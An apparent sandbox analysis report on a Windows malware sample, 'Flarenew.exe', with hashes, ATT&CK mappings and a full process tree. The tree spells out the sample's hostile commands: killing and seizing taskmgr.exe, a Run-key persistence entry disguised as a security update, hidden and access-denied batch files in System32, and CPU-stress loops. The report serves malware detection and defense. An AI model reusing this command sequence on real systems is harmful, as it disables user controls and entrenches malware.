d172c7e26fbaae07b616a96baa3adbde06d56ac56e54b8d4e8ae0b52a0505da6

Analysis

max time kernel
104s
max time network
114s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
26/03/2025, 15:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Flarenew.exe
Size

92KB
MD5

f1d059446cb8a408fcc2087c70b24902
SHA1

efa4db5ce56b23eee6fbdc8879d549a7e082ab57
SHA256

d172c7e26fbaae07b616a96baa3adbde06d56ac56e54b8d4e8ae0b52a0505da6
SHA512

a3ac6bca3d3684765d43a47c9119d2d906a23be67e09a7491fa0b9bfd9df1d0a9a16dc610247e399ced96c67fb4d07e07f4cdd7d3f822e3d0ccc25e326f2140d
SSDEEP

1536:j7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfUwbDNO+:/7DhdC6kzWypvaQ0FxyNTBfU0n

Score

8^/10

defense_evasion discovery exploit persistence

Malware Config

Signatures

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
4576	icacls.exe
6076	icacls.exe
4060	takeown.exe
5672	icacls.exe
4624	icacls.exe
4644	icacls.exe
4248	icacls.exe
4028	icacls.exe
5992	icacls.exe
392	icacls.exe
4556	icacls.exe
5720	takeown.exe
1424	icacls.exe
1848	icacls.exe
3328	takeown.exe
1940	icacls.exe
3956	icacls.exe
5268	icacls.exe
5032	takeown.exe
984	icacls.exe
1516	icacls.exe
32	icacls.exe
4808	icacls.exe

Sets file to hidden 1 TTPs 3 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1596	attrib.exe
912	attrib.exe
5572	attrib.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	cscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\error.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\error.bat	cmd.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3956	icacls.exe
6076	icacls.exe
5268	icacls.exe
5720	takeown.exe
5992	icacls.exe
1516	icacls.exe
3328	takeown.exe
4556	icacls.exe
5032	takeown.exe
1424	icacls.exe
4248	icacls.exe
4576	icacls.exe
4028	icacls.exe
5672	icacls.exe
1940	icacls.exe
392	icacls.exe
4624	icacls.exe
4644	icacls.exe
4808	icacls.exe
984	icacls.exe
1848	icacls.exe
4060	takeown.exe
32	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Security Update = "C:\\Windows\\System32\\flare.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Security Update = "C:\\Windows\\System32\\flare.bat"	reg.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File created	C:\Windows\System32\flare_helper.bat	cmd.exe
File opened for modification	C:\Windows\System32\flare_helper.bat	cmd.exe
File opened for modification	C:\Windows\System32\flare.bat	attrib.exe
File opened for modification	C:\Windows\System32\flare_helper.bat	cmd.exe
File created	C:\Windows\System32\flare.bat	cmd.exe
File opened for modification	C:\Windows\System32\flare.bat	cmd.exe
File opened for modification	C:\Windows\System32\flare.bat	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Flarenew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Flarenew.exe

Delays execution with timeout.exe 9 IoCs

defense_evasion

pid	Process
3812	timeout.exe
5124	timeout.exe
5436	timeout.exe
4956	timeout.exe
4384	timeout.exe
5776	timeout.exe
2664	timeout.exe
5372	timeout.exe
5924	timeout.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
3032	taskkill.exe
1164	taskkill.exe

Opens file in notepad (likely ransom note) 3 IoCs

ransomware

pid	Process
4564	notepad.exe
3964	notepad.exe
1968	notepad.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3032	taskkill.exe
Token: SeTakeOwnershipPrivilege	3328	takeown.exe
Token: SeTakeOwnershipPrivilege	4060	takeown.exe
Token: SeDebugPrivilege	1164	taskkill.exe
Token: SeTakeOwnershipPrivilege	5720	takeown.exe
Token: SeTakeOwnershipPrivilege	5032	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3628 wrote to memory of 2604	3628	Flarenew.exe	89
PID 3628 wrote to memory of 2604	3628	Flarenew.exe	89
PID 2604 wrote to memory of 2760	2604	cmd.exe	90
PID 2604 wrote to memory of 2760	2604	cmd.exe	90
PID 2604 wrote to memory of 2044	2604	cmd.exe	91
PID 2604 wrote to memory of 2044	2604	cmd.exe	91
PID 2044 wrote to memory of 3196	2044	net.exe	92
PID 2044 wrote to memory of 3196	2044	net.exe	92
PID 2604 wrote to memory of 3032	2604	cmd.exe	93
PID 2604 wrote to memory of 3032	2604	cmd.exe	93
PID 2604 wrote to memory of 3328	2604	cmd.exe	95
PID 2604 wrote to memory of 3328	2604	cmd.exe	95
PID 2604 wrote to memory of 4060	2604	cmd.exe	96
PID 2604 wrote to memory of 4060	2604	cmd.exe	96
PID 2604 wrote to memory of 5672	2604	cmd.exe	97
PID 2604 wrote to memory of 5672	2604	cmd.exe	97
PID 2604 wrote to memory of 32	2604	cmd.exe	98
PID 2604 wrote to memory of 32	2604	cmd.exe	98
PID 2604 wrote to memory of 1596	2604	cmd.exe	99
PID 2604 wrote to memory of 1596	2604	cmd.exe	99
PID 2604 wrote to memory of 1940	2604	cmd.exe	100
PID 2604 wrote to memory of 1940	2604	cmd.exe	100
PID 2604 wrote to memory of 392	2604	cmd.exe	101
PID 2604 wrote to memory of 392	2604	cmd.exe	101
PID 2604 wrote to memory of 3956	2604	cmd.exe	102
PID 2604 wrote to memory of 3956	2604	cmd.exe	102
PID 2604 wrote to memory of 4512	2604	cmd.exe	104
PID 2604 wrote to memory of 4512	2604	cmd.exe	104
PID 2604 wrote to memory of 4536	2604	cmd.exe	105
PID 2604 wrote to memory of 4536	2604	cmd.exe	105
PID 2604 wrote to memory of 4564	2604	cmd.exe	106
PID 2604 wrote to memory of 4564	2604	cmd.exe	106
PID 2604 wrote to memory of 4624	2604	cmd.exe	107
PID 2604 wrote to memory of 4624	2604	cmd.exe	107
PID 2604 wrote to memory of 4644	2604	cmd.exe	108
PID 2604 wrote to memory of 4644	2604	cmd.exe	108
PID 2604 wrote to memory of 4808	2604	cmd.exe	109
PID 2604 wrote to memory of 4808	2604	cmd.exe	109
PID 2604 wrote to memory of 4556	2604	cmd.exe	110
PID 2604 wrote to memory of 4556	2604	cmd.exe	110
PID 2604 wrote to memory of 4248	2604	cmd.exe	111
PID 2604 wrote to memory of 4248	2604	cmd.exe	111
PID 2604 wrote to memory of 6076	2604	cmd.exe	112
PID 2604 wrote to memory of 6076	2604	cmd.exe	112
PID 2604 wrote to memory of 4576	2604	cmd.exe	113
PID 2604 wrote to memory of 4576	2604	cmd.exe	113
PID 2604 wrote to memory of 4028	2604	cmd.exe	114
PID 2604 wrote to memory of 4028	2604	cmd.exe	114
PID 2604 wrote to memory of 5268	2604	cmd.exe	115
PID 2604 wrote to memory of 5268	2604	cmd.exe	115
PID 2604 wrote to memory of 912	2604	cmd.exe	116
PID 2604 wrote to memory of 912	2604	cmd.exe	116
PID 2604 wrote to memory of 3964	2604	cmd.exe	117
PID 2604 wrote to memory of 3964	2604	cmd.exe	117
PID 2604 wrote to memory of 1636	2604	cmd.exe	118
PID 2604 wrote to memory of 1636	2604	cmd.exe	118
PID 1636 wrote to memory of 4688	1636	cscript.exe	119
PID 1636 wrote to memory of 4688	1636	cscript.exe	119
PID 2604 wrote to memory of 4696	2604	cmd.exe	122
PID 2604 wrote to memory of 4696	2604	cmd.exe	122
PID 2604 wrote to memory of 4956	2604	cmd.exe	123
PID 2604 wrote to memory of 4956	2604	cmd.exe	123
PID 4688 wrote to memory of 4884	4688	cmd.exe	124
PID 4688 wrote to memory of 4884	4688	cmd.exe	124

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1596	attrib.exe
912	attrib.exe
5572	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Flarenew.exe
"C:\Users\Admin\AppData\Local\Temp\Flarenew.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\591C.tmp\591D.tmp\591E.bat C:\Users\Admin\AppData\Local\Temp\Flarenew.exe"
  2⤵
  - Drops startup file
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\msg.exe
    msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
    3⤵
    PID:2760
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3196
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3032
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\taskmgr.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3328
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\SysWOW64\taskmgr.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4060
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5672
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:32
- - C:\Windows\system32\attrib.exe
    attrib +s +h +r "C:\Windows\System32\flare.bat"
    3⤵
    - Sets file to hidden
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:1596
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1940
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:392
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3956
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
    3⤵
    - Adds Run key to start application
    PID:4512
- - C:\Windows\system32\cmd.exe
    cmd.exe
    3⤵
    PID:4536
- - C:\Windows\system32\notepad.exe
    notepad "C:\Users\Admin\Desktop\flare_warning.txt"
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:4564
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4624
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4644
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4808
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4556
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4248
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6076
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4576
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4028
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5268
- - C:\Windows\system32\attrib.exe
    attrib +s +h "C:\Users\Admin\Desktop\LPT2"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:912
- - C:\Windows\system32\notepad.exe
    notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:3964
- - C:\Windows\system32\cscript.exe
    cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1636
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\Flarenew.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4688
    - - C:\Users\Admin\AppData\Local\Temp\Flarenew.exe
        
        C:\Users\Admin\AppData\Local\Temp\Flarenew.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4884
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5DCF.tmp\5DD0.tmp\5DD1.bat C:\Users\Admin\AppData\Local\Temp\Flarenew.exe"
        6⤵
        Drops startup file
        Drops file in System32 directory
        
        PID:1520
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        7⤵
        
        PID:3496
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:3796
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:5484
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1164
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:5720
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:5032
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:984
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1424
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        7⤵
        Sets file to hidden
        Drops file in System32 directory
        Views/modifies file attributes
        
        PID:5572
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5992
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1848
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1516
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        7⤵
        Adds Run key to start application
        
        PID:2116
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        7⤵
        
        PID:5808
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        7⤵
        Opens file in notepad (likely ransom note)
        
        PID:1968
- - C:\Windows\system32\cmd.exe
    cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
    3⤵
    PID:4696
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:4956
- - C:\Windows\system32\cmd.exe
    cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
    3⤵
    PID:2272
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:4384
- - C:\Windows\system32\cmd.exe
    cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
    3⤵
    PID:4128
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:5776
- - C:\Windows\system32\cmd.exe
    cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
    3⤵
    PID:5716
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:3812
- - C:\Windows\system32\cmd.exe
    cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
    3⤵
    PID:1176
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:2664
- - C:\Windows\system32\cmd.exe
    cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
    3⤵
    PID:3368
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:5124
- - C:\Windows\system32\cmd.exe
    cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
    3⤵
    PID:2004
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:5372
- - C:\Windows\system32\cmd.exe
    cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
    3⤵
    PID:4756
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:5924
- - C:\Windows\system32\cmd.exe
    cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
    3⤵
    PID:5892
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:5436

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\591C.tmp\591D.tmp\591E.bat

Filesize
3KB

MD5
a1b640a9f9900dde69a5f2acf3159a71

SHA1
7ff65b207227da730bbd3e1e34680756563aa1f1

SHA256
4f893e5a5082834cc571498b07377e793f95e6bae23a9b94ed527623fab85092

SHA512
560548161f61b9ca4dca4c0eaec6a034b771628d2b066135892f4dec53f9fbf7f4f43dfb36b92542b6ba69b6e65c875398c73ef01b1367af95f590bfb2d0170e

Download Submit
C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs

Filesize
139B

MD5
e932638048e70a496220c5ac89daff6b

SHA1
5bd202003519b0d8fea9702293e3bb76c45db387

SHA256
a423bf0a10b67dbc65008fc548bcfa70968cf6dace253fc71084f6bfbbb9aafb

SHA512
8dfca2d25df6827632a74d377be73cdb606c312124d6062864b5aa0289866b6ccfa8d70f821447a8c9844c42a93ef84b4760fc2fa5a95218a5446b002c923fe3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\error.bat

Filesize
237B

MD5
29871f22521d0ab5777e9dfc20fc9c55

SHA1
afe0417165c9011c338b416f4eaaddca0cf7fc52

SHA256
808a5b00ba85be2d7d6a2b23389b160ed0fa7635508c564af1bf8784a2edede6

SHA512
c90a432df0da718fdb8b2ae98c6675da113333d810ad91ca57150e24a5d104cca02f849d242a6c2a45dc48172be623a63f19a2c7aae421a2cf42bb08f302e888

Download Submit
C:\Users\Admin\Desktop\LPT2\Fixes.txt

Filesize
36B

MD5
9ea9c312f34cfeda8394b84c0dfd1fc9

SHA1
d587d14e675fa07820e4a3c513285b42831c90bf

SHA256
4bfc6d2ad894c24dcedc920096679c80c1dd4340528ba9a071cff8b9bf8ab9e7

SHA512
0ed43563d7e3492773d30abdad9199b5cb9fd49ffb32c0c0a9cc1471545991131644b81c61f70f0f062ee9ab5314005b7677982c8074696aa832b226cd32ca8d

Download Submit
C:\Users\Admin\Desktop\flare_warning.txt

Filesize
85B

MD5
06f0a7e183c60d2d25359f8805ac79c8

SHA1
88dcb58b0342aaa5d26fbcc4f331980280d8788e

SHA256
c4ee6d94b5725af6c1ed91eb62fc34db9be62aca661976a5c24bdbb3db24e1d6

SHA512
ee60f735fcee65e0c76a9240b660bb850f285900d5229dcf102d244e14248b24f5f102523efee659f4de6ac339fa1f554e36a712bd3209a4f3ab1897a63314b3

Download Submit
C:\Windows\System32\flare.bat

Filesize
92KB

MD5
f1d059446cb8a408fcc2087c70b24902

SHA1
efa4db5ce56b23eee6fbdc8879d549a7e082ab57

SHA256
d172c7e26fbaae07b616a96baa3adbde06d56ac56e54b8d4e8ae0b52a0505da6

SHA512
a3ac6bca3d3684765d43a47c9119d2d906a23be67e09a7491fa0b9bfd9df1d0a9a16dc610247e399ced96c67fb4d07e07f4cdd7d3f822e3d0ccc25e326f2140d

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads